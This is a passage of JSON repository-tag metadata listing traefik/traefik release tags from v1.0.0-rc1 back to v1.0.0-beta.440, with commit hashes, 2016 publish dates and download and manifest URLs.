dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.0-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-rc1/manifests"},{"name":"v1.0.0-beta.809","sha":"2bd95620a5fb2e6315435ef32a7d5202dc2ab437","kind":"commit","published_at":"2016-05-30T15:48:00.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.0-beta.809","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.0-beta.809","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.0-beta.809","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.809","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.809/manifests"},{"name":"v1.0.0-beta.804","sha":"aad5f5296834200ecc1d43f29d3ba3984224db80","kind":"commit","published_at":"2016-05-30T09:21:49.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.0-beta.804","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.0-beta.804","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.0-beta.804","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.804","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.804/manifests"},{"name":"v1.0.0-beta.794","sha":"1a936b6acab9274896c61696fa14728d56b77dda","kind":"commit","published_at":"2016-05-27T14:41:44.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.0-beta.794","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.0-beta.794","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.0-beta.794","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.794","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.794/manifests"},{"name":"v1.0.0-beta.784","sha":"7804787e9eb4fb42b81391ca1eecde8fbfb85088","kind":"commit","published_at":"2016-05-26T15:12:23.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.0-beta.784","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.0-beta.784","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.0-beta.784","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.784","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.784/manifests"},{"name":"v1.0.0-beta.771","sha":"b79535f3691cc72d49820317b8026bbfa8775274","kind":"commit","published_at":"2016-05-25T12:16:19.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.0-beta.771","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.0-beta.771","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.0-beta.771","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.771","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.771/manifests"},{"name":"v1.0.0-beta.767","sha":"ed3bcc6d9a796eeba246a240da4084c6f082414d","kind":"commit","published_at":"2016-05-25T07:57:42.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.0-beta.767","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.0-beta.767","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.0-beta.767","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.767","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.767/manifests"},{"name":"v1.0.0-beta.756","sha":"86053ea54b47103f061972f67177cf3343208dc1","kind":"commit","published_at":"2016-05-23T14:07:35.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.0-beta.756","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.0-beta.756","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.0-beta.756","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.756","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.756/manifests"},{"name":"v1.0.0-beta.754","sha":"938600ba95e955a774b8dbd27f8b0529eaf30317","kind":"commit","published_at":"2016-05-23T12:37:19.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.0-beta.754","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.0-beta.754","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.0-beta.754","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.754","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.754/manifests"},{"name":"v1.0.0-beta.744","sha":"fa25c8ef221d89719bd0c491b66bbf54e3d40438","kind":"commit","published_at":"2016-05-23T07:50:38.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.0-beta.744","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.0-beta.744","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.0-beta.744","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.744","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.744/manifests"},{"name":"v1.0.0-beta.732","sha":"153ab8f0fa593a735b1be4962ae2f88ce18bdb57","kind":"commit","published_at":"2016-05-19T19:11:30.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.0-beta.732","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.0-beta.732","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.0-beta.732","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.732","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.732/manifests"},{"name":"v1.0.0-beta.723","sha":"f6c860afc0f3a401ffa35892769f83f089a34823","kind":"commit","published_at":"2016-05-19T13:00:12.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.0-beta.723","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.0-beta.723","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.0-beta.723","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.723","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.723/manifests"},{"name":"v1.0.0-beta.721","sha":"6bacbf6cac0111bbd3f65180307e25972cd06407","kind":"commit","published_at":"2016-05-19T12:08:53.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.0-beta.721","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.0-beta.721","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.0-beta.721","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.721","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.721/manifests"},{"name":"v1.0.0-beta.712","sha":"70494117d1feb21ed395771b766fe656cc67ee06","kind":"commit","published_at":"2016-05-18T15:19:11.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.0-beta.712","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.0-beta.712","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.0-beta.712","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.712","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.712/manifests"},{"name":"v1.0.0-beta.704","sha":"993165fa66c18302d2998a249659f1e88a3d6eec","kind":"commit","published_at":"2016-05-13T15:32:39.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.0-beta.704","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.0-beta.704","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.0-beta.704","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.704","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.704/manifests"},{"name":"v1.0.0-beta.695","sha":"c49f5dad0520d4c346eacf8688a86437cbd7d45f","kind":"commit","published_at":"2016-05-13T06:21:09.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.0-beta.695","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.0-beta.695","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.0-beta.695","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.695","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.695/manifests"},{"name":"v1.0.0-beta.692","sha":"7bf421f8474935a673379925ed75b183345e31de","kind":"commit","published_at":"2016-05-12T15:06:15.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.0-beta.692","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.0-beta.692","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.0-beta.692","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.692","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.692/manifests"},{"name":"v1.0.0-beta.682","sha":"749b381f2655d258c0344a5225a670deb7db96c9","kind":"commit","published_at":"2016-05-12T11:56:43.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.0-beta.682","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.0-beta.682","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.0-beta.682","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.682","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.682/manifests"},{"name":"v1.0.0-beta.676","sha":"be209ed30c9e61b85c44a7de28fcd924bee24e93","kind":"commit","published_at":"2016-05-10T11:43:24.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.0-beta.676","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.0-beta.676","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.0-beta.676","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.676","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.676/manifests"},{"name":"v1.0.0-beta.673","sha":"4a4ba2791d6098d78485d9ad2c02b3818d4efb24","kind":"commit","published_at":"2016-05-09T21:47:23.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.0-beta.673","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.0-beta.673","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.0-beta.673","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.673","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.673/manifests"},{"name":"v1.0.0-beta.666","sha":"b5716abd3e494d83da91f7b53322a6484d746e1d","kind":"commit","published_at":"2016-05-07T15:26:17.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.0-beta.666","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.0-beta.666","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.0-beta.666","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.666","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.666/manifests"},{"name":"v1.0.0-beta.652","sha":"d1b0bece474781b6bb8615a500f852f57d1110f7","kind":"commit","published_at":"2016-05-05T21:33:35.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.0-beta.652","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.0-beta.652","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.0-beta.652","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.652","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.652/manifests"},{"name":"v1.0.0-beta.644","sha":"f4fb2518a1be26c34f6b05e104a3539eafad4e61","kind":"commit","published_at":"2016-05-05T17:45:12.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.0-beta.644","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.0-beta.644","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.0-beta.644","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.644","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.644/manifests"},{"name":"v1.0.0-beta.621","sha":"c1a12a58ebf29a5c8ef80b015f1cc6c3f762a42c","kind":"commit","published_at":"2016-05-03T14:16:10.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.0-beta.621","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.0-beta.621","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.0-beta.621","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.621","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.621/manifests"},{"name":"v1.0.0-beta.614","sha":"11a6331185f42b8d44c04ceba9451e3726464243","kind":"commit","published_at":"2016-05-03T09:49:35.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.0-beta.614","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.0-beta.614","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.0-beta.614","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.614","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.614/manifests"},{"name":"v1.0.0-beta.610","sha":"4a1fa03b2dbc2c140a00df44007b1d1bfb54a79e","kind":"commit","published_at":"2016-05-02T16:21:48.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.0-beta.610","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.0-beta.610","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.0-beta.610","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.610","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.610/manifests"},{"name":"v1.0.0-beta.601","sha":"e5b0b3460462923e85471e3b4e78d9e9d4f307d0","kind":"commit","published_at":"2016-04-28T21:19:27.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.0-beta.601","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.0-beta.601","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.0-beta.601","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.601","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.601/manifests"},{"name":"v1.0.0-beta.582","sha":"7eaf09b3dad52112c81ef9df37f870e1d2d26cb4","kind":"commit","published_at":"2016-04-27T20:34:06.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.0-beta.582","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.0-beta.582","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.0-beta.582","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.582","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.582/manifests"},{"name":"v1.0.0-beta.576","sha":"2f5c9273ee189cc86856957a3092895ef6b06c57","kind":"commit","published_at":"2016-04-27T08:20:26.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.0-beta.576","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.0-beta.576","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.0-beta.576","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.576","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.576/manifests"},{"name":"v1.0.0-beta.573","sha":"9053f9bb98c427b827f4e9cbbeffa9ccc05851c6","kind":"commit","published_at":"2016-04-27T07:57:38.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.0-beta.573","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.0-beta.573","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.0-beta.573","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.573","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.573/manifests"},{"name":"v1.0.0-beta.555","sha":"6b76f64b485d55dfc84620a0241d6d9fd2d0a655","kind":"commit","published_at":"2016-04-25T16:40:29.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.0-beta.555","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.0-beta.555","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.0-beta.555","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.555","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.555/manifests"},{"name":"v1.0.0-beta.548","sha":"6f474348331dc3b105def4bb0a515a6cb3073722","kind":"commit","published_at":"2016-04-22T10:09:14.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.0-beta.548","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.0-beta.548","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.0-beta.548","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.548","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.548/manifests"},{"name":"v1.0.0-beta.545","sha":"b7a150bc64ee5fccb66ffc72d60adb2f5bf0f233","kind":"commit","published_at":"2016-04-22T09:38:02.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.0-beta.545","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.0-beta.545","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.0-beta.545","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.545","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.545/manifests"},{"name":"v1.0.0-beta.524","sha":"b3b658a9559c547318484b92977e4980d5492b08","kind":"commit","published_at":"2016-04-20T06:01:32.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.0-beta.524","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.0-beta.524","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.0-beta.524","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.524","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.524/manifests"},{"name":"v1.0.0-beta.513","sha":"a6c5e85ae7574d3ed17a4de0b863d2f5fce85ae1","kind":"commit","published_at":"2016-04-19T16:23:47.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.0-beta.513","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.0-beta.513","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.0-beta.513","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.513","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.513/manifests"},{"name":"v1.0.0-beta.508","sha":"0332e32293bf4e9de862937d3d48d027ffe73a31","kind":"commit","published_at":"2016-04-19T10:32:56.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.0-beta.508","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.0-beta.508","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.0-beta.508","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.508","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.508/manifests"},{"name":"v1.0.0-beta.505","sha":"68da47b59ad4959ab80d68cbbca9580afd7251fa","kind":"commit","published_at":"2016-04-19T10:04:13.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.0-beta.505","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.0-beta.505","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.0-beta.505","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.505","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.505/manifests"},{"name":"v1.0.0-beta.484","sha":"ee60adc45a6cee491a43d699152eef4234ef1044","kind":"commit","published_at":"2016-04-16T15:32:01.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.0-beta.484","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.0-beta.484","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.0-beta.484","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.484","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.484/manifests"},{"name":"v1.0.0-beta.481","sha":"23d3c512c2236c6902c8320f4a920e1fb11c53dd","kind":"commit","published_at":"2016-04-16T15:20:55.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.0-beta.481","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.0-beta.481","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.0-beta.481","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.481","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.481/manifests"},{"name":"v1.0.0-beta.475","sha":"f2320ee64821cae5fb6ca2418f9a6a7121237248","kind":"commit","published_at":"2016-04-15T17:13:53.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.0-beta.475","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.0-beta.475","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.0-beta.475","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.475","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.475/manifests"},{"name":"v1.0.0-beta.470","sha":"5b2c355c3869ef1b6cc32d8c55807bd44e369aef","kind":"commit","published_at":"2016-04-15T16:09:50.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.0-beta.470","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.0-beta.470","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.0-beta.470","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.470","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.470/manifests"},{"name":"v1.0.0-beta.453","sha":"c2009b71b174cb05c284e7c8d41fce0f4f7b974a","kind":"commit","published_at":"2016-04-13T19:28:53.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.0-beta.453","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.0-beta.453","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.0-beta.453","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.453","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.453/manifests"},{"name":"v1.0.0-beta.442","sha":"6aba453afba7c4502727ce21830497911cd1f256","kind":"commit","published_at":"2016-04-13T16:50:29.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.0-beta.442","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.0-beta.442","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.0-beta.442","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.442","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.442/manifests"},{"name":"v1.0.0-beta.440","sha":"5c8d9f4eb94762bbd47abc93f1392c5f5588e564","kind":"commit","published_at":"2016-04-13T15:17:10.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.0-beta.440","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.0-beta.440","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.0-beta.440","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.0-beta.440","manifests_url":"https://repos.ecosyste.ms/